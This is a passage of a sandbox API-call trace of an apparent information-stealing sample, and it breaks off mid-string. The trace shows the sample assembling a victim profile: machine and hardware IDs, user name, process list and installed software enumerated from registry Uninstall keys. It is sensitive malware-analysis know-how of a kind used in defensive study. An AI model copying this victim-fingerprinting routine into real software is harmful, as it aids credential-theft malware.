[0054.969] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2005 Redistributable [8.0.61001]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Access MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Excel MUI (English) 2016 [16.0.4266.1001]\nMicrosoft PowerPoint MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Publisher MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Outlook MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Word MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Proofing Tools 2016 - English [16.0.4266.1001]\nOutils de vérification linguistique 2016 de Microsoft Office - Français [16.0.4266.1001]\nHerramientas de corrección de Microsoft Office 2016: español [16.0.4266.1001]\nMicrosoft Office Proofing (English) 2016 [16.0.4266.1001]\nMicrosoft InfoPath MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Shared MUI (English) 2016 [16.0.4266.1001]\nMicrosoft DCF MUI (English) 2016 [16.0.4266.1001]", lpString2="\n" | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2005 Redistributable [8.0.61001]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Access MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Excel MUI (English) 2016 [16.0.4266.1001]\nMicrosoft PowerPoint MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Publisher MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Outlook MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Word MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Proofing Tools 2016 - English [16.0.4266.1001]\nOutils de vérification linguistique 2016 de Microsoft Office - Français [16.0.4266.1001]\nHerramientas de corrección de Microsoft Office 2016: español [16.0.4266.1001]\nMicrosoft Office Proofing (English) 2016 [16.0.4266.1001]\nMicrosoft InfoPath MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Shared MUI (English) 2016 [16.0.4266.1001]\nMicrosoft DCF MUI (English) 2016 [16.0.4266.1001]\n") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2005 Redistributable [8.0.61001]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Access MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Excel MUI (English) 2016 [16.0.4266.1001]\nMicrosoft PowerPoint MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Publisher MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Outlook MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Word MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Proofing Tools 2016 - English [16.0.4266.1001]\nOutils de vérification linguistique 2016 de Microsoft Office - Français [16.0.4266.1001]\nHerramientas de corrección de Microsoft Office 2016: español [16.0.4266.1001]\nMicrosoft Office Proofing (English) 2016 [16.0.4266.1001]\nMicrosoft InfoPath MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Shared MUI (English) 2016 [16.0.4266.1001]\nMicrosoft DCF MUI (English) 2016 [16.0.4266.1001]\n"
[0054.969] RegCloseKey (hKey=0x514) returned 0x0
[0054.969] RegEnumKeyExA (in: hKey=0x508, dwIndex=0x2e, lpName=0x1816c4, lpcchName=0x1816c0, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="{90160000-00A1-0409-0000-0000000FF1CE}", lpcchName=0x1816c0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0
[0054.969] wsprintfA (in: param_1=0x181ac4, param_2="%s\\%s" | out: param_1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{90160000-00A1-0409-0000-0000000FF1CE}") returned 90
[0054.969] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{90160000-00A1-0409-0000-0000000FF1CE}", ulOptions=0x0, samDesired=0x20019, phkResult=0x1816bc | out: phkResult=0x1816bc*=0x514) returned 0x0
[0054.969] RegQueryValueExA (in: hKey=0x514, lpValueName="DisplayName", lpReserved=0x0, lpType=0x1816b0, lpData=0x181ec4, lpcbData=0x1816c0*=0x400 | out: lpType=0x1816b0*=0x1, lpData="Microsoft OneNote MUI (English) 2016", lpcbData=0x1816c0*=0x25) returned 0x0
[0054.969] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2005 Redistributable [8.0.61001]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Access MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Excel MUI (English) 2016 [16.0.4266.1001]\nMicrosoft PowerPoint MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Publisher MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Outlook MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Word MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Proofing Tools 2016 - English [16.0.4266.1001]\nOutils de vérification linguistique 2016 de Microsoft Office - Français [16.0.4266.1001]\nHerramientas de corrección de Microsoft Office 2016: español [16.0.4266.1001]\nMicrosoft Office Proofing (English) 2016 [16.0.4266.1001]\nMicrosoft InfoPath MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Shared MUI (English) 2016 [16.0.4266.1001]\nMicrosoft DCF MUI (English) 2016 [16.0.4266.1001]\n", lpString2="Microsoft OneNote MUI (English) 2016" | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2005 Redistributable [8.0.61001]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Access MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Excel MUI (English) 2016 [16.0.4266.1001]\nMicrosoft PowerPoint MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Publisher MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Outlook MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Word MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Proofing Tools 2016 - English [16.0.4266.1001]\nOutils de vérification linguistique 2016 de Microsoft Office - Français [16.0.4266.1001]\nHerramientas de corrección de Microsoft Office 2016: español [16.0.4266.1001]\nMicrosoft Office Proofing (English) 2016 [16.0.4266.1001]\nMicrosoft InfoPath MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Shared MUI (English) 2016 [16.0.4266.1001]\nMicrosoft DCF MUI (English) 2016 [16.0.4266.1001]\nMicrosoft OneNote MUI (English) 2016") returned="Version: 